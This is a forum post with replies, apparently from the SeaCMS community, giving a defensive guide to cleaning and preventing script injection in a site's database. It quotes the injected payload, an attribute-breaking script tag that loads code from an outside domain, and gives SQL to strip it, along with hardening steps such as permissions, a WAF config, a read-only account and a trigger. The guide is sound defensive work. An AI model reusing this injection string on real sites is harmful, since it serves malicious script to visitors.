『大发网盟』

收益高、结算快、超稳定,直营无中间商差价

『1866资源网』

全网最早的资源,实力雄厚,速度超快,超稳定

『78免费网盘』

永久免费的多媒体转码与云分发平台,无限存储

『209资源网』

全网唯一一家全亚洲服务器加速播放,速度超快

『推荐模板服务商』

海洋CMS官方推荐可信赖模板制作服务商家

★〓★海洋CMS★〓★ 数据库挂马防范及恢复方法(2019.8.8 更新)

nohacks 7月前 9107

*标题:★〓★海洋CMS★〓★ 数据库挂马防范及恢复方法

*链接:https://www.seacms.net/post-update-90557.htm

*版本 :v1.2

*作者:nohacks(nohacks.cn)

*版权:目前只发表在海洋CMS论坛及作者博客,未经作者许可不得转载或做商业用途!

更新记录

   2019.8.2 更新读写分离

前言

        这些日子,不清楚什么状况,海洋CMS貌似被黑客盯上了,针对它的攻击非常频繁,作者虽然也是及时更新,但是在找不出漏洞的情况下,很多站点还是不幸躺枪,包括本文作者的网站,针对这一情况,作者作了大量的研究工作结合网友的经验,特写此文以望给大家解忧,希望我做到了,谢谢大家!

正文:

  目录:

   1. 恢复方法

   2. 防范方法

     2.1  升级到最新版本

     2.2  修改数据库密码

     2.3  删除安装目录

     2.4  数据库的所有数据表引擎转为InnoDB(可略)

     2.5  开启网站防火墙(可略)

     2.6   限制文件权限

     2.7   服务器安装防护软件(可略)

     2.8   限制数据库权限(可略)

     2.9   修改数据库字段结构长度(可略)

    2.10  利用SQL触发器实现安全过滤来防止挂马

     待续。。。

1.  恢复方法

首先了解一下SQL的搜索替换命令,

update [表名] set 字段名 = replace(与前面一样的字段名,'原本内容','想要替换成什么')

检测数据库,发现是在sea_data表,v_pic字段后面插入了下面代码:

"></script<script/**/src=https://www.qiuxiazx.com/data/velists.txt</script><a a="

可以通过查看网页源码("view-source:https://www.xxx.com"),搜索 "<script" 找到代码。

恢复数据方法,执行以下SQL语句:

update sea_data set v_pic = replace(v_pic,'"></script><script/**/src=https://www.qiuxiazx.com/data/velists.txt></script><a a="','')

2. 防范方法

    为了防止再次被入侵,我们必须做好下面措施:

2.1 升级到最新版本

       最新版本一般修复了最新漏洞,需要及时更新。

2.2 修改数据库密码

      修复后一定要修改数据库密码,攻击者可能已经获取数据库密码,修改后记得同步"/data/common.inc.php" 的SQL配置,不然网站无法使用。

2.3  删除安装目录(install)

       攻击者可利用安装目录进行攻击,所以安装完后务必删除。

2.4   数据库的所有数据表引擎转为InnoDB

       将数据库所有数据表引擎转为InnoDB,进一步加强安全性,宝塔-数据库-工具-MYSQL工具箱。

2.5 限制文件权限为只读

       缓存设置为使用redis,设置网站根目录权限为只读权限 555,需要生成时设置 为755,完成后改回。

   

     设置xml及uploads目录的读写权限为755。

      js目录有需要也可设置为755权限,关系到广告生成及修改播放代码。

      data目录下的文件为配置文件,为了安全,系统设置完毕后也设置权限为555,子目录为数据保存或缓存目录可设置为755权限。

2.6. 开启网站防火墙(可略)

       这里只说下宝塔面板的设置,其他请自行查阅。

       网站web服务建议使用nginx,这样可以免费使用其内置的lua防火墙,使用方法是修改配置文件,找到下面的代码:


http
    {
        include       mime.types;
	//include luawaf.conf;


去掉前面的注释符号 , 修改后变为:

http
    {
        include  mime.types;
	include luawaf.conf;


保存配置,然后修改其配置文件"/www/server/nginx/waf/config.lua",修改后如下:

RulePath = "/www/server/panel/vhost/wafconf/"
attacklog = "on"
logdir = "/www/wwwlogs/waf/"
UrlDeny="on"
Redirect="on"
CookieMatch="on"
postMatch="on" 
whiteModule="on" 
black_fileExt={"php","jsp"}
ipWhitelist={"127.0.0.1"}
ipBlocklist={"1.0.0.1"}
CCDeny="on"
CCrate="300/60"

 表示开启所有防护,保存后重启nginx服务生效。

 如果嫌麻烦,可以用收费插件。

2.7 服务器安装防护软件(可略)

      宝塔建议云锁。

2.8. 数据库读写分离(可略)

  2.8.1. 创建数据库只读账户

        宝塔-数据库-管理 -用root账户登陆-账户- 新增用户账户

 登陆信息:

      user name :  使用文本域 ,新用户名

     Host name:      本地    localhost

      密码使用生成密码 记住密码

 全局权限:

     只打钩 SELECT

 其它默认,点执行,然后切换到'数据库'选项卡,选择海洋cms数据表,执行

   然后会再跳到指定数据库权限,也只打钩 SELECT 执行

完成后,点击账户,修改我们刚刚创建的账户,将文本域改为"127.0.0.1" 执行。

这样就创建OK了

 2.8.2 .创建只读配置

    <1> 复制"/data/common.inc.php"并重命名为'data.inc.php'

    <2> 修改"/data/common.inc.php",将其中的"cfg_dbuser"后面引号内的账号修改为我们创建的只读账号,同样将"$cfg_dbpwd"后面引号内的密码修改为刚创建的密码,保存。

 2.8.3.修改数据库调用代码

        打开 "include/common.php",找到代码

//数据库配置文件
require_once(sea_DATA.'/common.inc.php');

修改为:

//数据库配置文件
//require_once(sea_DATA.'/common.inc.php');
//设置允许读写数据库的脚本文件
$filekey=array('config.php','login.php','exit.php','ajax.php','err.php','gbook.php','admin_reslib.php','admin_reslib2.php');
//智能加载
require_once sea_DATA.((preg_match('#.*/(.*?\.php)#i',htmlentities($_SERVER['PHP_SELF']),$ref) && in_array($ref[1],$filekey)) || isset($uip) ? '/data.inc.php':'/common.inc.php');

这样修改后,只有后台,统计,留言, 采集可以更新数据库。

 2.9.修改数据库字段结构长度(可略)

      海洋CMS数据库表"sea_data"字段 "v_pic"原结构长度为255 ,修改为char类型  110 或者 更低,看自己的图片长度而定。

      这样操作后,挂马者添加木马数据时将会因为长度超出数据库结构限制而失败!

2.10  利用SQL触发器实现安全过滤来防止挂马

        使用了这个方法后,"数据库读写分离"的步骤可以省略。

       宝塔-数据库-管理 -用root账户登陆

    选择海洋CMS数据库的sea_data表,选择右上角的触动器,添加触发器

      如下图:



触发器名称:chack

表:sea_data

时机:BEFORG

事件:UPDATE

定义: 

IF 
   INSTR( NEW.v_name,'script')> 0   OR 
   INSTR( NEW.v_pic,'script')> 0    OR
   INSTR( NEW.v_actor,'script')> 0
THEN
  SIGNAL SQLSTATE 'HY000' SET MESSAGE_TEXT = '请勿输入非法字符';
END IF

用户: 默认或为空

点击执行。

我们来测试一下:

update sea_data set v_name = '憨豆特工 script' WHERE v_id=1


==============

正文完  

 2019.8.2  by  nohacks  

测试站点: https://xymov.tv 

待续。。

最后于 3月前 被nohacks编辑 ,原因: 更新 数据库读写分离 修复bug
上传的附件:
最新回复 (24)
  • nohacks 7月前
    0 2
    lengheima 这样操作之后发现,会员中心不能用充值卡充值了
    官方已处理,升级到最新版即可
  • nohacks 7月前
    0 3
    KingVstr 请问上传的这个附件有用吗
    当然
  • nohacks 7月前
    0 4
    winbiz 除了data及uploads目录还有index.html,top.html,new.html等生成文件为755权限,其它目录都是555吗?
    是的
  • nohacks 7月前
    0 5

    可以添加url白名单,修改“/www/server/panel/vhost/wafconf/whiteurl”
    例如:zblog 需添加
    ^/zb_users/
    ^/zb_system/

    拦截日志"/www/wwwlogs/waf/里可以查看拦截路径。

  • nohacks 7月前
    0 6
    pins8 nohacks 可以添加url白名单,修改“/www/server/panel/vhost/wafconf/whiteurl”例如:zblog&amp;n ...
    postMatch="off" 

    可以关闭post保护或使用路径白名单
  • nohacks 7月前
    0 7
    woshiren $_SERVER['PHP_SELF']这个变量是有bug的,楼主代码有问题啊!search.php后面跟参数你那个判断就失效了,一样会加载有写入权限的文件,所以改良代码: preg_match(' ...
    谢谢反馈,已修复。
  • nohacks 7月前
    0 8
    ltlt999 这次挂马事件可以百分百肯定与search.php有关,我把这个文件里代码全部删除,3天没有再被挂马。
    哦 ,那么这个方案应该能解决这个问题
  • nohacks 7月前
    0 9
    1563920 首先感谢楼主的分享。 我在 系统:CentOS Linux 宝塔控制面板 用数据库读写分离办法 搜素电影时候提示 Error infos: seacms错误警告:连接数据库失败,可能数据库 ...
    我测试站和你环境一样,测试无问题,没有什么特殊操作
    检查下操作步骤吧,估计是只读账户配置问题
  • nohacks 7月前
    0 10

    呵呵,大神什么的不敢当啊,谢谢支持,感同身受,我也是受害者,只希望能解决问题。

  • nohacks 7月前
    0 11
    wujin1123 update sea_data set v_pic = replace(v_pic,'">
    可以分2次执行,这个是搜索替换
  • nohacks 7月前
    0 12
    yeah9898 nohacks,不是搜索文件,刚看你站你又被挂了....
    是被挂了,特别烦,看来只能允许 入库用 可写admin_reslib.php或admin_reslib2.php
  • nohacks 7月前
    0 13
    注意这个命令:
    update [表名] set 字段名 = replace(与前面一样的字段名,'原本内容','想要替换成什么')

    你要搜索的内容是在同一字段内吗?'原本内容' 可以是多个网址,任意内容
  • nohacks 7月前
    0 14

    好奇怪,既然是同一字段,你把数据库除图片外多出的内容替换就可以,不管几个网址,你贴个被挂的字段内容看看

  • nohacks 7月前
    0 15
    wujin1123 我这个是软件自动替换的 软件是每隔几分钟就会帮我替换一次 所以我想整合多个网址成为一个代码   挂马的人会利用多个网址进行挂 所以软件无法用其它代码替换

    这个是支持用正则的

    update sea_data set v_pic = replace_replace
    (v_pic,'".*$','')

  • nohacks 7月前
    0 16
    wujin1123 谢谢
    貌似不行 ,不支持
  • nohacks 7月前
    0 17
    多多 https://www.hukandy.com/ https://www.dieka123.com/ https://www.guojuren.com/ https://www.726ys.co ...
    测试站 也没有被挂
  • nohacks 6月前
    0 18
    多多 那完蛋了,他不挂你的了  挂我们的,你可以解决。。。还挺聪明的 这个垃圾黑帽

    不是这个的原因,挂马应该是脚本全自动扫描的。

    你升级了9.8版本吗?貌似解决了被挂问题,不行就只给自动入库数据库可写权限。

    现在测试站是9.8 + 搜索 数据库只读权限 + 根目录555权限

  • nohacks 4月前
    0 19
    多多 你站又被挂马了 速度解决。。
    谢谢反馈,已修复
  • nohacks 4月前
    0 20
    多多 没想到你也没搞定,我用的是之前那个大神的版本 9.8版本 至今没被挂。
    这个是最新漏洞
  • nohacks 3月前
    0 21
    更新了下,对显示函数过滤,使挂马失效!
  • nohacks 3月前
    0 22
    多多 你都一直没有搞定你的网站,,,哎!

    我网站现在没问题啊,你手机访问看到的广告是网站自有的广告或者需要更新浏览器缓存。

    最后于 3月前 被nohacks编辑 ,原因:
  • nohacks 3月前
    0 23
    txgdf 有一个思路:用.htaccess文件限制主站域名直接调用data目录或者敏感目录的所有php文件,这样黑客就打不开管理页面或者使用敏感php文件;另设置一个管理域名,然后使用iframe框架嵌套的办法 ...

    这样太麻烦,用宝塔的计划任务实现自动更新,配置好就无需修改后台配置。
     设置 网站根目录(包含子目录)为555权限,uplaods及data里的cache目录 目录为755权限, 这样就可以了

  • nohacks 3月前
    0 24
    yygy 拿走,不谢。

    嗯呢,很厉害哦,如果能告知漏洞造福大家就更好了

    还有你公开发这些信息是很不道德的!我可以理解为你在炫耀或者说威胁吗?


  • nohacks 3月前
    0 25
    更新了下,从数据库层入手进行安全过滤。
返回
发新帖